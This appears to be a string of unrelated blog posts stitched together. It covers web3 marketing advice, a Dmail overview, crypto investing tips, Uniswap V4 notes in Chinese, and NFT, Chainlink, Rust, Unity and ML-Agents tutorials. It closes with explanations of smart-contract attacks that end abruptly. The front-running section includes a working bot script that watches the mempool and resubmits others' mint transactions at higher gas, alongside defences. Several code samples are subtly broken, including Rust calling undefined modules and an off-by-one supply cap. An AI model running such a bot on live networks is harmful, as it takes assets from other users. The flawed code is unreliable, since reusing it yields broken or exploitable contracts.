Writing ability is the cornerstone

Different from the web2 era, writing ability is a basic and essential skill for web3 operators. To become an excellent web3 writer, the following points are particularly important:

• Practice writing in different forms, such as Twitter, Medium, Discord, etc. Proficiency in the language style of different writing scenarios.

• Adjust language style and posting time according to audience and occasion. The online status of users in different time periods is different.

• Learn the writing patterns of excellent projects and learn from them.

Use non-linear thinking mode

Traditional linear thinking may limit the effect of web3 operations. Excellent web3 operators need to use the following non-linear thinking mode:

• Leverage thinking: Get maximum value with minimum investment.

• Hacker Growth Thinking: Constantly test new growth ideas and optimize operational data and indicators.

• Work closely with the product team to continuously optimize the operation plan based on user data.

Build comprehensive capabilities

In the web3 world, excellent operators cannot be limited to a certain role, but need to develop comprehensive capabilities:

• It is necessary to be able to write content and operate the community.

• Must have BD ability, good at socializing and expanding network resources.

• Have an international perspective and keep up with the forefront of the industry.

• Focus on enhancing personal influence and professional visibility.

• Only by developing its own value in an all-round way can it be irreplaceable in the web3 world.

Dmail was founded by Anonymous Group in 2021. The team previously launched a public chain project under the name ANOS. Dmail was first deployed on the DFINITY network and launched as the first decentralized email product.

Subsequently, Dmail gradually expanded to multiple public chains and became a multi-chain supported blockchain email. As a pioneer in the blockchain and email service fields, Dmail obtained investment from institutions like Hashkey and KuCoin.

As a startup team, Dmail's technical strength and product operation capabilities are constantly growing. With the completion of this Pre-A round financing, Dmail has gained resources for further development.

Compared to other email service providers, Dmail chose to innovate with blockchain technology to provide communication infrastructure for the decentralized era. Public chain email may become one of the key scenarios to drive user awareness of Web3.

Advantages of Dmail as a blockchain email:

• Decentralized storage, content exists on the blockchain, and users own the data. This avoids the risk of email service providers controlling user data, and users no longer worry about content being deleted or accounts being banned.

• Encrypted transmission to protect user privacy and communication content security. Emails will not be monitored or intercepted during transmission through encryption algorithms.

• Freedom from email service provider censorship. Users can freely send any legal information without third party review.

• Email as the user's digital identity, which facilitates identifying users in Web3 applications. Seamless connectivity based on decentralized accounts.

Functional modules of Dmail:

• Messaging: Similar to traditional email, supporting communication between different types of addresses. Covering major public chains, seamless interoperability with Web2 email.

• Data storage: Using decentralized storage, content exists on the blockchain. Email content stored in a distributed manner, permanently owned by users.

• Asset management: Can directly send and receive crypto assets in email. No need to switch applications to transfer.

• Subscription and notification: Subscribe to project airdrop and other information push. More accurate delivery than social media.

• NFT domain: Use bound domain as email address, with different permission levels. Indicates identity and is easy to remember, with clear hierarchy.

• AI assistant: Integrated with ChatGPT, intelligently generates replies. Greatly improves email writing efficiency, wide applicability in marketing scenarios.

Dmail's development strategy:

• Integrate with hot field tracks: Cutting-edge technologies and concepts like AI, Metaverse.

• Establish partnerships with top projects: Cooperation with renowned projects like Worldcoin, ENS to acquire user base.

• Continuous expansion of network support: Already covered multiple mainstream public chains, reducing user switching costs.

• Incentivize usage through point system, but long-term mechanisms need to be established.

• Actively deploy marketing to increase awareness and acquire users, enhancing diffusion.

Analysis of Mail to Earn model:

With the arrival of the Web3 era, many blockchain projects have begun to explore different token economic designs. Recently, Mail to Earn has attracted attention, and Dmail is a pioneer of this model.

Mail to Earn encourages users to earn token rewards by using email. Users can obtain points through daily mail sending/receiving, inviting users, etc. Points can also be used to upgrade email permissions.

This model provides a new way for blockchain applications to acquire users. Unlike traditional apps, email has high frequency of use and strong user stickiness. Mail to Earn can form an effective incentive system.

But the sustainability of this model needs to be validated. Incentive mechanisms need to consider long-term factors, otherwise users may only profit short-term before churning, failing to form a stable ecosystem.

Project teams need to continuously enrich application scenarios to generate inherent value in the email service itself. Otherwise relying on airdrops and incentives, it will be difficult to retain users, and the model may fall into the "chicken and egg" dilemma.

In summary, Mail to Earn is worth paying attention to, but needs further improvement before it can become a sustainable token economic design.

Firstly, paying close attention to early stage investments by top VCs is an effective approach.

Top investment institutions like a16z, Paradigm, and Coinbase Ventures possess professional analysis teams that can identify unicorn projects in their infancy. Their portfolios are filled with early investments in today’s multi-billion dollar projects like Avalanche, Solana, and Polygon. Studying their early stage investment theses can enhance one's judgement.

Secondly, monitoring Web3 project ranking sites like DappRadar for early projects with surging transaction volume is also crucial.

These projects often possess immense technological innovation and user demand potential. For instance, investing selectively in GameFi projects on Solana with over 100,000% transaction growth can yield considerable returns. The key is to examine the project’s own economic incentive design, combined with one’s own market assessment.

Thirdly, we need to take the long view and look out for new fields with the potential to become standards and disrupt existing paradigms

Such as the currently burgeoning areas of decentralized storage, privacy computing, access tokens etc. Pioneers in these fields like Filecoin and Keep Network have tremendous upside potential.

Last but not least, actively participating in Web3 community discussions is also important.

Metrics like GitHub commit frequency and the community discussion atmosphere can reflect a project’s intrinsic vibrancy. This requires us to maintain an open and proactive learning attitude in order to absorb more high-quality information.

Discovering the next titan requires keen insight, but even more so perseverance in learning. Let us wait and see, and witness the advent of Web3's next century of prosperity!

触发器（hooks）：可以在一些时间点触发一些操作，其中 donate 是新功能，交易者可以选择一种资产作为手续费，以前是两种

单例模式（singleton）: 在 V3 中，每一个池子都是一个合约，每一个流动性都是一个 nft，而在 v4 中融合成了一个合约。

闪存记账（flash accounting）: 一次交换，即使跨越了很多池子，只计算交换的数量，最后一次完成交换。

在左图的例子中，eth 交换 dai，一共调用了 4 个合约，而新版本只需要调用一次，大大节省了 gas 费用。
50% eth-》eth/usdc-》usdc-》usdc/dai-》dai
50% eth-》eth/usdt-》usdt-》usdt/dai-》dai

影响

Uniswap V4 上线将会冲击所有的交易所，dex，cex

相较于自己的 V2,V3 而言，对小白更加不友好，策略的组合更加多样复杂，导致分析 LP 的盈利情况，趋势更加困难，方便高手闷声发大财。

建议

V2，V3 的策略依旧可以用，可以提前熟悉起来，等到 V4 上线后，狠狠的赚他一笔。

常见的策略更新

参考资料：
uniswap-v4 博客 https://blog.uniswap.org/uniswap-v4
白皮书 https://github.com/Uniswap/v4-core/blob/main/whitepaper-v4-draft.pdf
律动：https://www.theblockbeats.info/news/42643
TWAMM 时间加权平均做市商的机制：https://www.paradigm.xyz/2021/07/twamm

https://docs.openzeppelin.com/contracts/4.x/wizard

Mintable : mint nft

Auto increment Ids : id automatic increment

Burnable : burn nft

Pausable : Pause nft transfer

Enumerable : View total issuance URI storage: URI of nft

Ownable: ownership control, an administrator

Roles: ownership control, multiple administrators

Transparent: transparent proxy

UUPS: Proxy Contracts to Solve Conflictable Problems

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/draft-ERC721VotesUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol";

/// @custom:security-contact skka3134@gmail.com
contract Dragon is Initializable, ERC721Upgradeable, ERC721EnumerableUpgradeable, ERC721URIStorageUpgradeable, PausableUpgradeable, OwnableUpgradeable, ERC721BurnableUpgradeable, EIP712Upgradeable, ERC721VotesUpgradeable {
    using CountersUpgradeable for CountersUpgradeable.Counter;

    CountersUpgradeable.Counter private _tokenIdCounter;

    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() {
        _disableInitializers();
    }

    function initialize() initializer public {
        __ERC721_init("Dragon", "Drag");
        __ERC721Enumerable_init();
        __ERC721URIStorage_init();
        __Pausable_init();
        __Ownable_init();
        __ERC721Burnable_init();
        __EIP712_init("Dragon", "1");
        __ERC721Votes_init();
    }

    function pause() public onlyOwner {
        _pause();
    }

    function unpause() public onlyOwner {
        _unpause();
    }

    function safeMint(address to, string memory uri) public onlyOwner {
        uint256 tokenId = _tokenIdCounter.current();
        _tokenIdCounter.increment();
        _safeMint(to, tokenId);
        _setTokenURI(tokenId, uri);
    }

    function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
        internal
        whenNotPaused
        override(ERC721Upgradeable, ERC721EnumerableUpgradeable)
    {
        super._beforeTokenTransfer(from, to, tokenId, batchSize);
    }

    // The following functions are overrides required by Solidity.

    function _afterTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
        internal
        override(ERC721Upgradeable, ERC721VotesUpgradeable)
    {
        super._afterTokenTransfer(from, to, tokenId, batchSize);
    }

    function _burn(uint256 tokenId)
        internal
        override(ERC721Upgradeable, ERC721URIStorageUpgradeable)
    {
        super._burn(tokenId);
    }

    function tokenURI(uint256 tokenId)
        public
        view
        override(ERC721Upgradeable, ERC721URIStorageUpgradeable)
        returns (string memory)
    {
        return super.tokenURI(tokenId);
    }

    function supportsInterface(bytes4 interfaceId)
        public
        view
        override(ERC721Upgradeable, ERC721EnumerableUpgradeable, ERC721URIStorageUpgradeable)
        returns (bool)
    {
        return super.supportsInterface(interfaceId);
    }
}

2.remix https://remix.ethereum.org/

3.Remove the onlyowner of safemint, everyone can mint

    function safeMint(address to, string memory uri) public onlyOwner {
        uint256 tokenId = _tokenIdCounter.current();
        _tokenIdCounter.increment();
        _safeMint(to, tokenId);
        _setTokenURI(tokenId, uri);
    }

    function safeMint(address to, string memory uri) public  {
        uint256 tokenId = _tokenIdCounter.current();
        _tokenIdCounter.increment();
        _safeMint(to, tokenId);
        _setTokenURI(tokenId, uri);
    }

4.Define a maximum circulation

    uint256 MAX = 1000;
    function safeMint(address to, string memory uri) public  {
        require(_tokenIdCounter.current() <= MAX, "exceed");
        uint256 tokenId = _tokenIdCounter.current();
        _tokenIdCounter.increment();
        _safeMint(to, tokenId);
        _setTokenURI(tokenId, uri);
    }

5.Upload metadata to ipfs

https://console.filebase.com/

6.The format of metadata is json

{
    "description": "dragon", 
    "external_url": "https://openseacreatures.io/3", 
    "image": "https://ipfs.filebase.io/ipfs/QmewcWVm6zmnCEwDzZSanrzdFNdzCF8X4Tfo5Qi87Qdhrf", 
    "name": "dragon",
    "attributes": [
      {
        "trait_type": "Base", 
        "value": "Starfish"
      }, 
      {
        "trait_type": "Eyes", 
        "value": "Big"
      }, 
      {
        "trait_type": "Mouth", 
        "value": "Surprised"
      }, 
      {
        "trait_type": "Level", 
        "value": 5
      }   
    ]
  }

7.Modify the code

    string  uri="ipfs://QmPHcbAwnaGkGm939xRzhwXuYVe12iqCKezDccJcmqf8p5";
    function safeMint(address to) public {
        require(_tokenIdCounter.current() <= MAX, "exceed");
        uint256 tokenId = _tokenIdCounter.current();
        _tokenIdCounter.increment();
        _safeMint(to, tokenId);
        _setTokenURI(tokenId, uri);
    }

8.Create an alchemy account and select the Sepolia testnet

https://dashboard.alchemy.com/

Sepolia https://sepoliafaucet.com/

9.Add alchemy node in metamask

10.Compile and enable optimization

11.Deployment

12.Check out https://testnets.opensea.io/ on test opensea

https://dashboard.alchemy.com/

2.Copy apikey

3.Create a new project and install alchemy sdk

npm init

npm install alchemy-sdk

4.Create a file named index.js, and add code

const { Network, Alchemy } = require("alchemy-sdk");
const settings = {
  apiKey: "wEDkV89fbvvsbplG8oYhrwnOYG8c3M-C",
  network: Network.ETH_GOERLI,
};
const alchemy = new Alchemy(settings);
async function main() {
  const latestBlock = await alchemy.core.getBlockNumber();
  console.log("The latest block number is", latestBlock);
}
main();

4.Start!

node index.js

1.Randomly deploy a contract, get the address and ABI

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";

contract erc20 is Initializable, ERC20Upgradeable, OwnableUpgradeable {
    using SafeERC20Upgradeable for IERC20Upgradeable;

    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() {
        _disableInitializers();
    }
    address erc721;
    function initialize() initializer public {
        __ERC20_init("ZombineCoin", "ZTC");
        __Ownable_init();
    }
    function setErc721(address erc721_)public{
        erc721=erc721_;
    }

    function mint(uint second) public  {
        _mint(msg.sender, 100*1e18*second);
    }
    function balance()public view returns(uint256){
        return balanceOf(msg.sender);
    }
    function approveMint()public{
        approve(erc721,100000*1e18);
    }
}

2.Open Chainlink Automation https://automation.chain.link/goerli

Trigger select time-based, fill in the contract address

3.Select the name of the function you want to execute automatically, and fill in the parameters

4.Choose how often to execute

This is a corn expression that can be converted with tools http://cron.ciding.cc/

5.Choose a name and deposit link tokens

Both reinforcement learning and deep learning are subsets of machine learning.

The main differences between reinforcement learning and deep learning are:

1.The training samples of deep learning are labeled, and the training of reinforcement learning is unlabeled. It learns through the rewards and punishments given by the environment.

2.The learning process of deep learning is static, while the learning process of reinforcement learning is dynamic. The difference between static and dynamic here is whether it will interact with the environment, deep learning is to learn whatever is given, and reinforcement learning is to interact with the environment, and then learn through the rewards and punishments given by the environment

3.Deep learning solves more perceptual problems, while reinforcement learning mainly solves decision-making problems. Therefore, deep learning is more like the five senses, while reinforcement learning is more like the brain.

ML-Agents is an open source Unity plugin that allows us to train intelligent agents in game environments and simulations.

1.Download mlagents, don't ask me why I don't use version 20

https://github.com/Unity-Technologies/ml-agents/releases/tag/release_19

2.Download conda, (python environment)

https://anaconda.org/anaconda/conda

3.Create a conda environment

conda create -n base1 python=3.8

4.Switch to the environment just created

5.install mlagents

cd C:\Users\546546\Desktop\ml-agents-release_19\ml-agents-release_19
pip install torch~=1.7.1
pip install -e./ml-agents-envs
pip install -e./ml-agents
pip uninstall protobuf
pip install protobuf==3.19.6
pip uninstall numpy
pip install numpy==1.19

6.After completing the development of the game logic part, start training

mlagents-learn config/ppo/ball.yaml --run-id=t1

Detailed tutorials can be seen on my youtube teaching https://www.youtube.com/watch?v=eNQpujBpGMY&t=13s

The green part is called the block header, including (pre hash, tx hash, time)

The black part and the blue part are called the block body, including (hash, transaction)

Where pre hash is the hash of the previous block

time represents the transaction time, timestamp

The tx hash is used to ensure that the data is not tampered with. The data of each block can theoretically be tampered with, but the hash will not match after the modification.

transaction is transaction information

Finally, there is the hash value of the entire block, which is equivalent to the identification of each block. Similarly, as long as one piece of data in the block is changed, the hash value will change.

On the code! ! !

1.First we need to use the package, open the terminal

cargo add serde 
cargo add bincode
cargo add rust-crypto
cargo add chrono

2.The package serde is used for serialization and deserialization. Serialization and deserialization are very common functions, which are extremely common in network transmission and data storage. The general explanation of serialization and deserialization is: seriallization serialization: convert the object into a format that is convenient for transmission, common serialization formats: binary format, byte array, json string, xml string. deseriallization deserialization: the process of restoring serialized data into objects.

The package bincode is a binary encoding format.

The package crypto is for hash

The package chrono is for timestamp

3.Add the following code at the top

use bincode;
use serde::{Deserialize, Serialize};
use crypto::digest::Digest;
use crypto::sha3::Sha3;
use chrono::prelude::*;

4.Define the block header

 struct BlockHeader {
     time: i64,
     tx_hash: String,
     pre_hash: String,
}

5.Define blocks

 struct Block {
     header: BlockHeader,
     hash: String,
     data: String, //transactions data
}

6.Use the package just added to write two methods for serialization and deserialization.

//Serializatize
fn my_serialize<T: ?Sized>(value: &T) -> Vec<u8> 
    where T: Serialize,
{
    let seialized = bincode::serialize(value).unwrap();
    seialized
}
//deserialize
fn my_deserialize<'a, T>(bytes: &'a[u8]) -> T 
    where T: Deserialize<'a>,
{
    let deserialized = bincode::deserialize(bytes).unwrap();
    deserialized
}

7.Use the package rust-crypto to find the hash

fn get_hash(value: &[u8]) -> String {
    let mut hasher = Sha3::sha3_256();
    hasher.input(value);
    hasher.result_str()
}

8.Implement these methods for the previously defined Block

impl Block {
    fn set_hash(&mut self) {
        let header = coder::my_serialize(&(self.header));
        self.hash = coder::get_hash(&header[..]);
    }

     fn new_block(data: String, pre_hash: String) -> Block {
        let transactions = coder::my_serialize(&data);
        let tx_hash = coder::get_hash(&transactions[..]);

        let time = Utc::now().timestamp();

        let mut block = Block {
            header: BlockHeader {
                time: time,
                tx_hash: tx_hash,  //transactions data merkle root hash
                pre_hash: pre_hash,
            },
            hash: "".to_string(),
            data: data,
        };

        block.set_hash();
        block
    }
}

9.Define blockchain

struct BlockChain {
    blocks: Vec<block::Block>,
}
impl BlockChain {
   fn add_block(&mut self, data: String) {
        let pre_block = &self.blocks[self.blocks.len() - 1];
        let new_block = block::Block::new_block(data, pre_block.hash.clone());
        self.blocks.push(new_block);
    }

    fn new_genesis_block() -> block::Block {
        block::Block::new_block("This is genesis block".to_string(), String::from(""))
    }

     fn new_blockchain() -> BlockChain {
        BlockChain {
            blocks: vec![BlockChain::new_genesis_block()],
        }
    }
}

10.Define the main method

fn main() {
    let mut bc = blockchain::BlockChain::new_blockchain();
    bc.add_block(String::from("a -> b: 5 btc"));
    bc.add_block("c -> d: 1 btc".to_string());
    for b in bc.blocks {
        println!("++++++++++++++++++++++++++++++++++++++++++++");
        println!("{:#?}", b);
        println!("");
    }
}

The final code should look like this.

use bincode;
use serde::{Deserialize, Serialize};
use crypto::digest::Digest;
use crypto::sha3::Sha3;
use chrono::prelude::*;


 struct BlockHeader {
     time: i64,
     tx_hash: String,
     pre_hash: String,
}

 struct Block {
     header: BlockHeader,
     hash: String,
     data: String, //transactions data
}
impl Block {
    fn set_hash(&mut self) {
        let header = coder::my_serialize(&(self.header));
        self.hash = coder::get_hash(&header[..]);
    }

     fn new_block(data: String, pre_hash: String) -> Block {
        let transactions = coder::my_serialize(&data);
        let tx_hash = coder::get_hash(&transactions[..]);

        let time = Utc::now().timestamp();

        let mut block = Block {
            header: BlockHeader {
                time: time,
                tx_hash: tx_hash,  //transactions data merkle root hash
                pre_hash: pre_hash,
            },
            hash: "".to_string(),
            data: data,
        };

        block.set_hash();
        block
    }
}


fn my_serialize<T: ?Sized>(value: &T) -> Vec<u8> 
    where T: Serialize,
{
    let seialized = bincode::serialize(value).unwrap();
    seialized
}

fn my_deserialize<'a, T>(bytes: &'a[u8]) -> T 
    where T: Deserialize<'a>,
{
    let deserialized = bincode::deserialize(bytes).unwrap();
    deserialized
}

fn get_hash(value: &[u8]) -> String {
    let mut hasher = Sha3::sha3_256();
    hasher.input(value);
    hasher.result_str()
}




struct BlockChain {
    blocks: Vec<block::Block>,
}

impl BlockChain {
    fn add_block(&mut self, data: String) {
        let pre_block = &self.blocks[self.blocks.len() - 1];
        let new_block = block::Block::new_block(data, pre_block.hash.clone());
        self.blocks.push(new_block);
    }

    fn new_genesis_block() -> block::Block {
        block::Block::new_block("This is genesis block".to_string(), String::from(""))
    }

     fn new_blockchain() -> BlockChain {
        BlockChain {
            blocks: vec![BlockChain::new_genesis_block()],
        }
    }
}

Cargo run, the effect

If you want to simulate mining, use sleep for about 10s

1.Under the plugins folder of the unity project, first create a new file with the suffix .jslib, and customize the file name.

mergeInto(LibraryManager.library, {

  StartTime: function(){  //StartTime是Unity调用的方法名字
      BeginTime();          //BeginTime是调用前端BeginTime()方法
  },
});

2.In unity, create a new script, add the namespace using System.Runtime.InteropServices; and add the following C# code:

[DllImport("__Internal")]
  private static extern void StartTime();

3.Call the StartTime() method in unity, that is, call the StartTime() method in jslib

    function StartTime() {
    }

4.Package unity with webgl, and choose no compression for the compression method

You can also use this project to use the third-party plug-in react-unity-webgl to load the WebGL resources packaged by the Unity project in the React project.

github：https://github.com/skka3134/plantsVsZombines/tree/main

The characteristic of Chainfish is that the fish head and tail need to be fixed, and the strings are used to generate the body parts of the fish. The inspiration of the project comes from Chainface.

nft://1/0x91047Abf3cAb8da5A9515c8750Ab33B4f1560a7A/?showBuying=true&showMeta=true

Contract file structure

FishToken.sol

fishtoken issued by the project itself

sFishToken.sol

The sfishtoken issued by the project itself is released as a reward

usdcBuyNftLogic.sol

Use usdc to replace the fishtoken issued by the project itself

FishNft.sol mint nft，burn nft，claim

Pancake's factory contract and routing contract, other secure digital and interface contracts

github address

https://github.com/skka3134/Vue/tree/main

1. Vulnerabilities When passing parameters to a smart contract, the parameters will be encoded according to the ABI specification. It is possible to send encoded parameters that are shorter than the expected parameter length (for example, sending an address of only 38 hex characters (19 bytes) instead of the standard 40 hex characters (20 bytes)). In this case, the EVM will pad 0s to the end of the encoded parameter to the expected length.

This becomes a problem when the third-party application does not validate the input. The most obvious example is when a user requests a withdrawal, the exchange does not verify the address of the ERC20 token. This example is detailed in Peter Venesses' article "ERC20 Short Address Attack Explained".

Consider the standard ERC20 transfer function interface, noting the order of the parameters,

function transfer(address to, uint tokens) public returns (bool success);

Now consider that an exchange holds a lot of tokens (say REP ), and a user wants to get back 100 tokens they stored. Users will submit their address, 0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddead, and the number of tokens, 100 . The exchange will encode these parameters in the order specified by the transfer() function, i.e. address first and then tokens . The encoded result will be

a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead0000000000000000000000000000000000000000000000056bc75e2d63100000

Extract the function signature, and the remaining digits should be separated by 32 bytes:

a9059cbb 00000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead 0000000000000000000000000000000000000000000000056bc75e2d63100000

The first four bytes (a9059cbb) are the transfer() function signature/selector;

The second 32 bytes are the address;

The last 32 bytes are a uint256 representing the token amount. Note that the final hex number 56bc75e2d63100000 corresponds to 100 tokens (with 18 decimal places, as specified by the REP token contract).

Ok, now let's see what happens if we send an address with 2 missing hex numbers. Specifically, suppose an attacker sends with 0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde as an address (missing the last two digits), and gets back the same 100 tokens. If the exchange does not validate this input, it will be encoded as

a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeadde0000000000000000000000000000000000000000000000056bc75e2d6310000000

Extract the function signature, and the remaining digits should be separated by 32 bytes:

a9059cbb 0000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddeadde00 00000000000000000000000000000000000000000000056bc75e2d6310000000 The difference is subtle. Note that 00 has been padded to the end of the encoding to complete the short address sent. When it is sent to the smart contract, the address parameter will be read as 0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde00 and the value will be read as 56bc75e2d6310000000 (note the two extra 0s). This value is now 25600 tokens (the value has been multiplied by 256 ). In this example, if the exchange held this many tokens, the user would withdraw 25600 tokens (while the exchange thought the user was only withdrawing 100) to the modified address. Obviously the attacker would not have the modified address in this example, but if the attacker generated a zero-terminated address (which is easy to force) and used this generated address, they could easily Steal tokens from exchanges.

2.Preventive measures

I think it's obvious that validating all inputs before sending them to the blockchain prevents these types of attacks. It should also be noted that parameter ordering plays an important role here. Since padding only occurs at the end of the string, careful ordering of parameters in smart contracts may mitigate some forms of this attack.

Like most blockchains, Ethereum nodes aggregate transactions and package them into blocks. Once the miners obtain a solution to the consensus mechanism (currently implemented on Ethereum is the ETHASH workload proof algorithm), these transactions are considered valid. The miner who dug up the block also chooses which transactions in the transaction pool are included in the block, generally sorted according to the gasPrice of the transactions. There is a potential attack vector here. An attacker can monitor the transaction pool to see if there is a solution to the problem (as shown in the contract below), modify or revoke the attacker's permissions, or change the state of the contract; these transactions are all obstacles to the attacker. The attacker can then take the data from it and create a transaction with a higher gasPrice, (making his own transaction) be included in a block before the original transaction.

Let's see how this can be done with a simple example. Consider the contract FindThisHash.sol :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract FindThisHash {
    bytes32 constant public hash = 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;
    
    constructor() payable {} // load with ether
    
    function solve(string calldata solution) public {
        // If you can find the pre image of the hash, receive 1000 ether
        require(hash == keccak256(abi.encodePacked(solution)), "Answer is wrong"); 
        payable(msg.sender).transfer(10 ether);
    }
}

Imagine this contract contains 10 Ether. Users who can find the Pre-image of keccak256 with hash value 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2 can submit their solution and get 10 Ether. Let's assume, a user found the answer Ethereum. They can call solve() with Ethereum as an argument. Unfortunately, the attacker is very smart and monitors the transaction pool to see if anyone submits a solution. They see this solution, check its validity, and submit an identical transaction with a much higher gasPrice than the original transaction. The miner who mined the current block may favor the transaction issued by the attacker due to the higher gasPrice, and accept their transaction before the original transaction is included. The attacker will get 10 Ether and the user who solves the problem will get nothing (since there is no Ether left in the contract).

More realistic issues will arise in the design of future Casper implementations. The Casper proof-of-stake contract involves slashing conditions under which users who notice validators double-voting or misbehaving are incentivized to submit proof that the validator has done so. Validators will be penalized and users will be rewarded. In this case, it can be expected that miners and users will front-run all such proofs (for rewards), and this issue must be resolved before the final release.

2.Implementation of pre-submitted code

In fact, the steps to submit early are very simple:

1. Monitor mempool

2. Submit transaction data

We use hardhat for demonstration.

First of all, we wrote a mint NFT contract, because many times, when mint some of the more valuable NFTs, scientists will use pre-emptive transactions, so that friends who don’t know how to code can’t grab others. The contract code is simple:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
// Uncomment this line to use console.log
import "hardhat/console.sol";

contract Test is ERC721 {
    constructor(
        string memory _name,
        string memory _symbol
    ) ERC721(_name, _symbol) {}

    function mint(uint256 tokenId) external {
        _mint(msg.sender, tokenId);
    }
}

Users of this contract can mint.

We publish this contract on the node network of hardhat. In this EVM environment, the block generation speed is very fast. Because the network is too fast, it is difficult to pre-submit, so we write a script to manually slow down the EVM:

import { ethers } from "hardhat";

async function main() {
    const provider = ethers.getDefaultProvider("http://localhost:8545");

    await (provider as any).send("evm_setAutomine", [false]);
    await (provider as any).send("evm_setIntervalMining", [10000]);
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});

We do not allow EVM to generate blocks automatically, and the block generation interval is 10 seconds.

Let's first simulate the process of an ordinary user who doesn't know how to code to grab an NFT (tokenID is 25):

task("test-transaction", "This task is broken")
    .setAction(async () => {
        const tokenId = 25;
        const contractAddress = "0x5FbDB2315678afecb367f032d93F642f64180aa3";
        const test = await ethers.getContractAt('Test', contractAddress);

        try {
            const tx = await test.mint(tokenId);
            await tx.wait();
        } catch (e) {
            console.error(e);
        } finally {
            const owner = await test.ownerOf(tokenId);
            console.log(`owner of ${tokenId}: ${owner}`);
        }
    });

The scientist wrote the following script:、

import { ethers } from "hardhat";

const ContractAbiFile = require("../artifacts/contracts/Test.sol/Test.json");

/*
Account #1: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 (10000 ETH)
Private Key: 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d
*/
async function listen() {
    const iface = new ethers.utils.Interface(ContractAbiFile.abi);
    const privateKey = "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
    const provider = ethers.getDefaultProvider("http://localhost:8545");
    const myWallet = new ethers.Wallet(privateKey, provider);

    // await (provider as any).send("evm_setIntervalMining", [10000]);
    provider.on("pending", async (tx) => {
        console.log("tx detected: ", tx);
        if (tx.data.indexOf(iface.getSighash("mint")) >= 0 && tx.from !== myWallet.address) {
            // const parsedTx = iface.parseTransaction(tx);
            // console.log("tx parsed: ", parsedTx);

            const frontRunTx = {
                to: tx.to,
                value: tx.value,
                gasPrice: tx.gasPrice.mul(2),
                gasLimit: tx.gasLimit.mul(2),
                data: tx.data
            };
            const tmpTx = await myWallet.sendTransaction(frontRunTx);
            console.log("Front Tx=", tmpTx);
            await tmpTx.wait();
        }
    })
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
listen().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});

In this script, the scientist monitors the mempool and finds that there is a new tx coming in. Once the function signature mint is found in the data, the target is selected and a new transaction is created. The other data in this transaction are the same as the monitored transaction. The difference is to increase the gasPrice and gasLimit, and then use sendTransaction to send the transaction.

Finally, after the last ordinary user finished executing, he found that his transaction failed. And finally output the owner of the NFT whose tokenID is 25, and found that it is already the address of the scientist:

In this example, it is obvious that ordinary users are the first to mint, but the scientist is the first to trade successfully.

3.Preventive measures

1. Use the commit-reveal mechanism This scheme stipulates that users send transactions using hidden information (usually hash values). After the transaction has been included in the block, the user will send a transaction to reveal the sent data (reveal phase). This approach prevents miners and users from engaging in front-running transactions, since they cannot be sure of the content of the transaction. However, this approach cannot hide the transaction value (in some cases, this is valuable information that needs to be hidden). The ENS smart contract allows users to send transactions with commitment data including the amount they are willing to spend. Users can send transactions of any value. During the disclosure phase, users can withdraw the difference between the amount sent in the transaction and the amount they are willing to spend.

2. Use submarine send

   Detailed introduction to the original website of submarine send: https://libsubmarine.org/

storage

1.Ordinary variables

Ordinary variables Data in storage is permanently stored. It is stored in the slot slot as a key-value pair.

Data in storage gets written to the blockchain (so they change state), that's why using storage is very expensive.

The gas cost to occupy a 256-bit slot is 20,000 gas.

Modifying the storage value will cost 5,000 gas.

When a storage slot is cleared (i.e. setting non-zero bytes to zero), an amount of gas is refunded.

storage has a total of 2^256 slots, and the 32 bytes of data in each slot are stored sequentially in the order of declaration, and the data will be stored from the right of each slot. If adjacent variables fit into a single 32 bytes, then they are stored Pack into the same slot otherwise a new slot will be enabled for storage.

Array

The storage method of arrays in storage is quite unique. First, there are two types of arrays in solidity:

(1) Fixed-length array (fixed length):

Each element in the fixed-length array will have an independent slot for storage. Taking a fixed-length array containing three uint64 elements.

(2) Variable-length array (the length changes with the number of elements):

